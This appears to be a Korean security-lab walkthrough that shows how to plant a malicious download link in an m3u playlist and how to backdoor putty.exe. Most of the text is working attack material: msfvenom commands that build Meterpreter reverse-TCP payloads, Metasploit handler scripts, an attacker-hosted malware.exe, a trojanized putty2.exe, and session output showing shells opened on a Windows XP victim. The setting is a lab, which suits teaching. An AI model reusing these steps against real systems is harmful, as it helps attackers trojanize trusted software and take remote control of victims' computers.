1. HxD.exe 다운로드
HxD.exe Hex Editor 프로그램을 다운로드 받아서 XP로 이동시킨다.
https://linuxmaster.net/malware/HxD.exe

2. m3u 메타파일 확인
adrenalin.m3u 를 HxD.exe에서 확인한다.

3. m3u 메타파일 수정
adrenalin2.m3u 를 HxD.exe에서 열어서 파일의 맨 뒤에 http://200.200.200.3/malware.exe 로 수정한다.

4. 악성코드 제작
-a x86: 32bit OS
--platform windows: 윈도우 OS 
-p windows/meterpreter/reverse_tcp: 미터프리터의 리버스쉘
LHOST=200.200.200.3: Attacker IP 주소 
LPORT=443: Attacker PORT 주소
-f python: 쉘코드를 파이썬으로 출력 
-b '\x00\xff': 제거할 문자
Attacker# msfvenom -a x86 --platform windows  -p windows/meterpreter/reverse_tcp \
LHOST=200.200.200.3 LPORT=443 -f exe -o /var/www/html/malware.exe -b '\x00\xff'
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of exe file: 73802 bytes
Saved as: /var/www/html/malware.exe

adrenalinAttack.rc 파일을 생성한다.
Attacker# vi adrenalinAttack.rc  
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set lhost 200.200.200.3
set lport 443
exploit

msfconsole -r 을 이용해서 adrenalinAttack.rc 파일을 실행한다.
Attacker# msfconsole -r adrenalinAttack.rc 

5. 웹서버 실행
Attacker# systemctl start apache2

6. adrenalin2.m3u 파일 실행
adrenalin2.m3u 파일을 더블클릭해서 실행하면 공격자의 malware.exe를 다운로드 받아서 실행한다.
malware.exe를 다운로드 받아서 실행하면 공격자의 443번 포트로 접속해서 쉘 권한을 획득한다.

[*] Sending stage (175686 bytes) to 200.200.200.4
[*] Meterpreter session 1 opened (200.200.200.3:443 -> 200.200.200.4:1123) at 2023-03-10 00:32:51 -0500

meterpreter > sysinfo
Computer        : VICTIM_WINXP
OS              : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture    : x86
System Language : ko_KR
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter > 

실습> 실행파일 패치

[putty.exe + reverse_tcp] -> [putty2.exe]

1. putty 업로드
https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html
32-bit x86: putty.exe를 다운로드 받는다.

Attacker# wget https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe
                    
2. putty.exe 패치
putty.exe + reverse_tcp -> putty2.exe 파일을 생성한다.
Attacker# msfvenom -a x86 --platform windows \
-x putty.exe -k -p windows/meterpreter/reverse_tcp \
LHOST=200.200.200.3 LPORT=443 -b '\x00\xff' -f exe -o /var/www/html/putty2.exe
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of exe file: 1873408 bytes
Saved as: /var/www/html/putty2.exe

3. 공격 대기
Attacker# cat << EOF > putty2.rc
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 200.200.200.3
set LPORT 443
exploit
EOF

Attacker# msfconsole -r putty2.rc 
  :
  :(생략)

4. putty2.exe 다운로드
Victim에서 putty2.exe를 다운로드 받아서 서버로 접속하기 위해서 putty2.exe를 실행한다.
putty2.exe를 실행하면 아래 두 가지로 동작하게 되고 공격자에게 장악당하게 된다.
- putty가 실행된다.
- Attacker로 리버스 커넥션으로 연결된다.

http://200.200.200.3/putty2.exe

[*] Sending stage (175686 bytes) to 200.200.200.4
[*] Meterpreter session 3 opened (200.200.200.3:443 -> 200.200.200.4:1129) at 2023-03-10 01:15:38 -0500

meterpreter >


https://www.exploit-db.com/exploits/11288
profile
정보보안 전문가

0개의 댓글